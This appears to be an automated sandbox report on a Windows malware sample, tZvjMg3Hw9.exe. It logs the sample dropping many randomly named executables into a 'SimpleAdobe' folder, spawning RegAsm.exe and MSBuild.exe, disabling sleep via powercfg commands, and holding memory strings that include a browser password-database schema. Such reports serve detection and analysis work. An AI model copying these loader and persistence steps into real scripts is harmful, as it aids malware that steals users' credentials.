Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1988:120:WilError_03
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_11
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2724
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Protect544cd51a.dll
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_15
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6496:64:WilError_03

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

File created: C:\Users\user\AppData\Local\Temp\adobegIeeYGMoUZdX

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

File read: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3398241309.0000000000CFF000.00000002.00000001.01000000.00000013.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.2920616279.0000000000B60000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3395350920.0000000000515000.00000002.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3395015295.0000000000515000.00000002.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3395848430.0000000000516000.00000002.00000001.01000000.0000000F.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3395244504.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3398241309.0000000000CFF000.00000002.00000001.01000000.00000013.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.2920616279.0000000000B60000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3395350920.0000000000515000.00000002.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3395015295.0000000000515000.00000002.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3395848430.0000000000516000.00000002.00000001.01000000.0000000F.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3395244504.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3340798411.00000000076A5000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3217288107.00000000013E4000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3218502364.00000000013E4000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3216636159.00000000013E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: tZvjMg3Hw9.exe

ReversingLabs: Detection: 39%

Source: lrPP7Py6j59vWWqs5P8cBSO1.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: unknown	Process created: C:\Users\user\Desktop\tZvjMg3Hw9.exe "C:\Users\user\Desktop\tZvjMg3Hw9.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2724 -ip 2724
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2724 -s 316
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe .\Install.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Process created: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp "C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp" /SL5="$A0070,4844569,54272,C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe"
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe .\Install.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Process created: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp "C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp" /SL5="$A0070,4844569,54272,C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe"
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2724 -ip 2724
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2724 -s 316
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process created: unknown unknown

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: uxtheme.dll	Jump to behavior
